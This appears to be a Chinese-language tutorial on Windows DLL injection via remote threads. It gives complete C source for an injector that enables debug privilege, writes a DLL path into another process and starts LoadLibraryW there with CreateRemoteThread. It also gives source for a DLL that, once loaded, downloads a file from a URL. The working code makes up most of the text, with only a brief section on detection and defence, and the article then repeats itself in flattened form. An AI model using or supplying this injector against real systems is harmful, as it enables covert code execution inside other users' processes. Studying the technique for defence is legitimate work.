DLL注入学习:通过远程线程注入DLL
字数 1837 2025-08-26 22:11:57

DLL注入技术详解:通过远程线程实现DLL注入

一、DLL注入概述

DLL注入是一种将自定义动态链接库(DLL)加载到目标进程地址空间的技术。本文介绍的是通过创建远程线程实现DLL注入的方法,相比使用Windows消息钩子的方式,这种方法针对性更强且运用更为广泛。

二、DLL注入组件

1. 被注入的DLL (dllmain.dll)

1.1 主要功能

  • 当DLL被加载到目标进程时,创建一个新线程
  • 在新线程中执行下载指定URL文件的操作

1.2 代码结构

#include "windows.h"
#include "tchar.h"
#pragma comment(lib,"urlmon.lib")

#define URL (L"http://www.naver.com/index.html")
#define FILE_NAME (L"index.html")

HMODULE hMod = NULL;

// 线程执行函数
DWORD WINAPI ThreadProc(LPVOID lParam) {
    TCHAR szPath[_MAX_PATH] = {0,};
    
    // 获取当前模块路径
    if(!GetModuleFileName(hMod, szPath, MAX_PATH)) {
        return FALSE;
    }
    
    // 截取路径并组合文件名
    TCHAR* p = _tcsrchr(szPath, '\\');
    if(!p) {
        return FALSE;
    }
    _tcscpy_s(p+1, _MAX_PATH, FILE_NAME);
    
    // 下载文件
    URLDownloadToFile(NULL, URL, szPath, 0, NULL);
    return 0;
}

// DLL入口函数
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD fwdReason, LPVOID lpvReserve) {
    HANDLE hThread = NULL;
    hMod = (HMODULE)hInstance;
    
    switch(fwdReason) {
    case DLL_PROCESS_ATTACH:
        OutputDebugString(L"start injection\n");
        // 创建线程执行下载操作
        hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
        CloseHandle(hThread);
        break;
    default:
        break;
    }
    return TRUE;
}

1.3 关键点解析

  1. 线程函数(ThreadProc):

    • 函数原型: DWORD WINAPI ThreadProc(_In_ LPVOID lpParameter)
    • 主要功能:
      • 获取当前DLL模块路径
      • 组合目标文件保存路径
      • 调用URLDownloadToFile下载文件
  2. URLDownloadToFile函数:

    HRESULT URLDownloadToFile(
        LPUNKNOWN pCaller,       // 通常为NULL
        LPCTSTR szURL,           // 下载URL
        LPCTSTR szFileName,      // 保存路径(包含文件名)
        _Reserved_ DWORD dwReserved, // 保留参数(0)
        LPBINDSTATUSCALLBACK lpfnCB // 回调接口(通常为NULL)
    );
    
  3. DllMain函数:

    • DLL_PROCESS_ATTACH时创建线程执行下载操作
    • 注意: 这里创建的线程与远程线程不同,它只是DLL内部的功能线程

2. 注入程序 (inject.cpp)

2.1 主要功能

  • 提升当前进程权限
  • 将指定DLL注入到目标进程

2.2 代码结构

#include "windows.h"
#include "tchar.h"
#include "stdio.h"
#include "Urlmon.h"

// DLL注入函数
BOOL injectDll(DWORD dwPID, LPCTSTR szDllPath) {
    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;
    HMODULE hMod = NULL;
    LPVOID lRemoteBuf = NULL;
    DWORD BufSize = (DWORD)(_tcslen(szDllPath)+1)*sizeof(TCHAR);
    LPTHREAD_START_ROUTINE pThreadProc;
    
    // 打开目标进程
    if(!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))) {
        _tprintf(L"进程打开失败");
        return FALSE;
    }
    
    // 在目标进程分配内存并写入DLL路径
    lRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, lRemoteBuf, (LPVOID)szDllPath, BufSize, NULL);
    
    // 获取LoadLibraryW函数地址
    hMod = GetModuleHandle(L"kernel32.dll");
    pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
    
    // 创建远程线程执行LoadLibraryW
    hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, lRemoteBuf, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return TRUE;
}

// 提权函数
BOOL EnableDebugPriv() {
    HANDLE hToken;
    LUID Luid;
    TOKEN_PRIVILEGES tkp;
    
    // 打开当前进程的访问令牌
    if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken)) {
        printf("提权失败。");
        return FALSE;
    }
    
    // 查找调试权限的LUID
    if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) {
        CloseHandle(hToken);
        printf("提权失败。");
        return FALSE;
    }
    
    // 修改访问令牌权限
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = Luid;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
    if(!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) {
        printf("提权失败。");
        CloseHandle(hToken);
    } else {
        printf("提权成功!");
        return TRUE;
    }
}

// 主函数
int _tmain(int argc, _TCHAR* argv[]) {
    EnableDebugPriv();
    if(injectDll((DWORD)_tstol(argv[1]), argv[2])) {
        printf("注入成功");
    }
    if(!(injectDll((DWORD)_tstol(argv[1]), argv[2]))) {
        printf("注入失败");
    }
    return 0;
}

2.3 关键点解析

  1. DLL注入流程:

    • 打开目标进程(OpenProcess)
    • 在目标进程分配内存(VirtualAllocEx)
    • 写入DLL路径到目标进程(WriteProcessMemory)
    • 获取LoadLibraryW函数地址
    • 创建远程线程执行LoadLibraryW(CreateRemoteThread)
  2. 关键API详解:

    • VirtualAllocEx:

      LPVOID VirtualAllocEx(
          HANDLE hProcess,          // 目标进程句柄
          LPVOID lpAddress,         // 分配地址(通常为NULL)
          SIZE_T dwSize,            // 分配大小
          DWORD flAllocationType,   // 分配类型(MEM_COMMIT)
          DWORD flProtect           // 内存保护(PAGE_READWRITE)
      );
      
    • WriteProcessMemory:

      BOOL WriteProcessMemory(
          HANDLE hProcess,          // 目标进程句柄
          LPVOID lpBaseAddress,     // 写入地址
          LPCVOID lpBuffer,         // 数据缓冲区
          SIZE_T nSize,             // 写入大小
          SIZE_T *lpNumberOfBytesWritten // 实际写入大小(通常为NULL)
      );
      
    • CreateRemoteThread:

      HANDLE CreateRemoteThread(
          HANDLE hProcess,                  // 目标进程句柄
          LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全属性(通常为NULL)
          SIZE_T dwStackSize,               // 堆栈大小(通常为0)
          LPTHREAD_START_ROUTINE lpStartAddress, // 线程函数地址
          LPVOID lpParameter,               // 线程参数
          DWORD dwCreationFlags,            // 创建标志(通常为0)
          LPDWORD lpThreadId                // 线程ID(通常为NULL)
      );
      
  3. 提权机制:

    • TOKEN_PRIVILEGES结构体:

      typedef struct _TOKEN_PRIVILEGES {
          DWORD PrivilegeCount;             // 特权数量
          LUID_AND_ATTRIBUTES Privileges[]; // 特权数组
      } TOKEN_PRIVILEGES;
      
    • 提权步骤:

      1. 打开当前进程的访问令牌(OpenProcessToken)
      2. 查找调试权限的LUID(LookupPrivilegeValue)
      3. 修改访问令牌权限(AdjustTokenPrivileges)

三、技术原理分析

1. 远程线程注入原理

  1. 基本思路:

    • 在目标进程中创建一个远程线程
    • 让该线程执行LoadLibrary加载我们的DLL
    • 从而将DLL注入到目标进程的地址空间
  2. 为什么需要获取LoadLibrary地址:

    • 目标进程可能没有显式调用LoadLibrary
    • kernel32.dll在所有进程中的加载地址相同
    • 通过获取本进程中的LoadLibrary地址即可用于目标进程
  3. 为什么需要分配内存和写入数据:

    • LoadLibrary需要DLL路径作为参数
    • 该路径字符串在目标进程中不存在
    • 需要手动在目标进程空间分配内存并写入路径字符串

2. 提权必要性

  • 在Windows 7/10等系统上,默认权限可能不足以进行DLL注入
  • 需要SE_DEBUG_NAME权限才能操作其他进程
  • 通过修改进程的访问令牌来提升权限

四、调试与测试

1. 测试步骤

  1. 运行目标进程(如notepad.exe)
  2. 获取目标进程PID
  3. 运行注入程序: inject.exe <PID> <DLL路径>
  4. 验证注入结果:
    • 检查目标目录是否下载了指定文件
    • 使用Process Explorer查看目标进程加载的DLL

2. 调试技巧

  1. 使用OD(OllyDbg)调试:

    • 设置"当新DLL模块载入时断下"
    • 注入后可以跟踪到DLL的加载过程
  2. 调试注入的DLL:

    • 在DllMain的DLL_PROCESS_ATTACH处设置断点
    • 跟踪线程创建和执行过程

五、防御措施

了解DLL注入技术也有助于防御此类攻击:

  1. 检测手段:

    • 监控进程的远程线程创建
    • 检查非正常加载的DLL模块
    • 监控CreateRemoteThread等敏感API调用
  2. 防护措施:

    • 使用DEP(数据执行保护)
    • 实施ASLR(地址空间布局随机化)
    • 限制进程权限

六、总结

通过远程线程实现DLL注入是一种常见且有效的技术,主要流程包括:

  1. 在目标进程分配内存并写入DLL路径
  2. 获取LoadLibrary函数地址
  3. 创建远程线程执行LoadLibrary
  4. DLL被加载后执行预设功能

理解这一技术不仅有助于开发相关工具,也能更好地防御此类攻击。在实际应用中,还需要考虑跨系统版本的兼容性和权限等问题。

DLL注入技术详解:通过远程线程实现DLL注入 一、DLL注入概述 DLL注入是一种将自定义动态链接库(DLL)加载到目标进程地址空间的技术。本文介绍的是通过创建远程线程实现DLL注入的方法,相比使用Windows消息钩子的方式,这种方法针对性更强且运用更为广泛。 二、DLL注入组件 1. 被注入的DLL (dllmain.dll) 1.1 主要功能 当DLL被加载到目标进程时,创建一个新线程 在新线程中执行下载指定URL文件的操作 1.2 代码结构 1.3 关键点解析 线程函数(ThreadProc) : 函数原型: DWORD WINAPI ThreadProc(_In_ LPVOID lpParameter) 主要功能: 获取当前DLL模块路径 组合目标文件保存路径 调用 URLDownloadToFile 下载文件 URLDownloadToFile函数 : DllMain函数 : 在 DLL_PROCESS_ATTACH 时创建线程执行下载操作 注意: 这里创建的线程与远程线程不同,它只是DLL内部的功能线程 2. 注入程序 (inject.cpp) 2.1 主要功能 提升当前进程权限 将指定DLL注入到目标进程 2.2 代码结构 2.3 关键点解析 DLL注入流程 : 打开目标进程( OpenProcess ) 在目标进程分配内存( VirtualAllocEx ) 写入DLL路径到目标进程( WriteProcessMemory ) 获取 LoadLibraryW 函数地址 创建远程线程执行 LoadLibraryW ( CreateRemoteThread ) 关键API详解 : VirtualAllocEx : WriteProcessMemory : CreateRemoteThread : 提权机制 : TOKEN_ PRIVILEGES结构体 : 提权步骤 : 打开当前进程的访问令牌( OpenProcessToken ) 查找调试权限的LUID( LookupPrivilegeValue ) 修改访问令牌权限( AdjustTokenPrivileges ) 三、技术原理分析 1. 远程线程注入原理 基本思路 : 在目标进程中创建一个远程线程 让该线程执行 LoadLibrary 加载我们的DLL 从而将DLL注入到目标进程的地址空间 为什么需要获取LoadLibrary地址 : 目标进程可能没有显式调用 LoadLibrary kernel32.dll 在所有进程中的加载地址相同 通过获取本进程中的 LoadLibrary 地址即可用于目标进程 为什么需要分配内存和写入数据 : LoadLibrary 需要DLL路径作为参数 该路径字符串在目标进程中不存在 需要手动在目标进程空间分配内存并写入路径字符串 2. 提权必要性 在Windows 7/10等系统上,默认权限可能不足以进行DLL注入 需要 SE_DEBUG_NAME 权限才能操作其他进程 通过修改进程的访问令牌来提升权限 四、调试与测试 1. 测试步骤 运行目标进程(如notepad.exe) 获取目标进程PID 运行注入程序: inject.exe <PID> <DLL路径> 验证注入结果: 检查目标目录是否下载了指定文件 使用Process Explorer查看目标进程加载的DLL 2. 调试技巧 使用OD(OllyDbg)调试: 设置"当新DLL模块载入时断下" 注入后可以跟踪到DLL的加载过程 调试注入的DLL: 在DllMain的 DLL_PROCESS_ATTACH 处设置断点 跟踪线程创建和执行过程 五、防御措施 了解DLL注入技术也有助于防御此类攻击: 检测手段 : 监控进程的远程线程创建 检查非正常加载的DLL模块 监控 CreateRemoteThread 等敏感API调用 防护措施 : 使用DEP(数据执行保护) 实施ASLR(地址空间布局随机化) 限制进程权限 六、总结 通过远程线程实现DLL注入是一种常见且有效的技术,主要流程包括: 在目标进程分配内存并写入DLL路径 获取 LoadLibrary 函数地址 创建远程线程执行 LoadLibrary DLL被加载后执行预设功能 理解这一技术不仅有助于开发相关工具,也能更好地防御此类攻击。在实际应用中,还需要考虑跨系统版本的兼容性和权限等问题。